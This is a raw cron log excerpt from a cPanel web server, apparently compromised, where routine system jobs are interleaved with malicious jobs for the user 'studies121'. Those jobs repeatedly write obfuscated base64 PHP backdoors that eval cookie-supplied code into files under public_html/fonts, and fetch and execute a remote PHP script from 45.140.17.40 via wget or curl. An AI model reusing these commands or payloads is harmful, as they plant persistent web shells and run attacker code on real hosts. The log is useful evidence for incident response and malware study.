Sep 22 10:53:01 ip-184-168-122-23 CROND[10865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:54:01 ip-184-168-122-23 CROND[11048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:54:01 ip-184-168-122-23 CROND[11049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:54:01 ip-184-168-122-23 CROND[11052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:54:01 ip-184-168-122-23 CROND[11054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:54:01 ip-184-168-122-23 CROND[11053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:55:01 ip-184-168-122-23 CROND[11286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:55:01 ip-184-168-122-23 CROND[11290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:55:01 ip-184-168-122-23 CROND[11292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:55:01 ip-184-168-122-23 CROND[11293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:55:01 ip-184-168-122-23 CROND[11296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:55:01 ip-184-168-122-23 CROND[11294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:56:01 ip-184-168-122-23 CROND[11452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:56:01 ip-184-168-122-23 CROND[11454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:56:01 ip-184-168-122-23 CROND[11456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:56:01 ip-184-168-122-23 CROND[11457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:56:01 ip-184-168-122-23 CROND[11455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:57:01 ip-184-168-122-23 CROND[11582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:57:01 ip-184-168-122-23 CROND[11584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:57:01 ip-184-168-122-23 CROND[11583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:57:01 ip-184-168-122-23 CROND[11585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:58:01 ip-184-168-122-23 CROND[11997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:58:01 ip-184-168-122-23 CROND[11999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:58:01 ip-184-168-122-23 CROND[12000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:58:01 ip-184-168-122-23 CROND[12001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:58:01 ip-184-168-122-23 CROND[12002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:59:01 ip-184-168-122-23 CROND[12192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:59:01 ip-184-168-122-23 CROND[12194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:59:01 ip-184-168-122-23 CROND[12193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:59:01 ip-184-168-122-23 CROND[12198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:00:01 ip-184-168-122-23 CROND[12444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:00:01 ip-184-168-122-23 CROND[12445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:00:01 ip-184-168-122-23 CROND[12447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:00:01 ip-184-168-122-23 CROND[12450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:00:01 ip-184-168-122-23 CROND[12451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 11:00:01 ip-184-168-122-23 CROND[12449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:00:01 ip-184-168-122-23 CROND[12452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:00:01 ip-184-168-122-23 CROND[12453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:01:01 ip-184-168-122-23 CROND[13739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:01:01 ip-184-168-122-23 CROND[13741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:01:01 ip-184-168-122-23 CROND[13744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:01:02 ip-184-168-122-23 CROND[13746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:01:02 ip-184-168-122-23 CROND[13745]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 11:01:02 ip-184-168-122-23 CROND[13747]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13745]: starting 0anacron
Sep 22 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13765]: finished 0anacron
Sep 22 11:02:01 ip-184-168-122-23 CROND[14797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:02:01 ip-184-168-122-23 CROND[14801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:02:01 ip-184-168-122-23 CROND[14800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:02:01 ip-184-168-122-23 CROND[14802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:02:01 ip-184-168-122-23 CROND[14803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:03:01 ip-184-168-122-23 CROND[15682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:03:01 ip-184-168-122-23 CROND[15684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:03:01 ip-184-168-122-23 CROND[15685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:03:01 ip-184-168-122-23 CROND[15688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:04:01 ip-184-168-122-23 CROND[16433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:04:01 ip-184-168-122-23 CROND[16436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:04:01 ip-184-168-122-23 CROND[16437]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:04:01 ip-184-168-122-23 CROND[16438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:04:01 ip-184-168-122-23 CROND[16439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:05:01 ip-184-168-122-23 CROND[17190]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 11:05:01 ip-184-168-122-23 CROND[17193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:05:01 ip-184-168-122-23 CROND[17194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
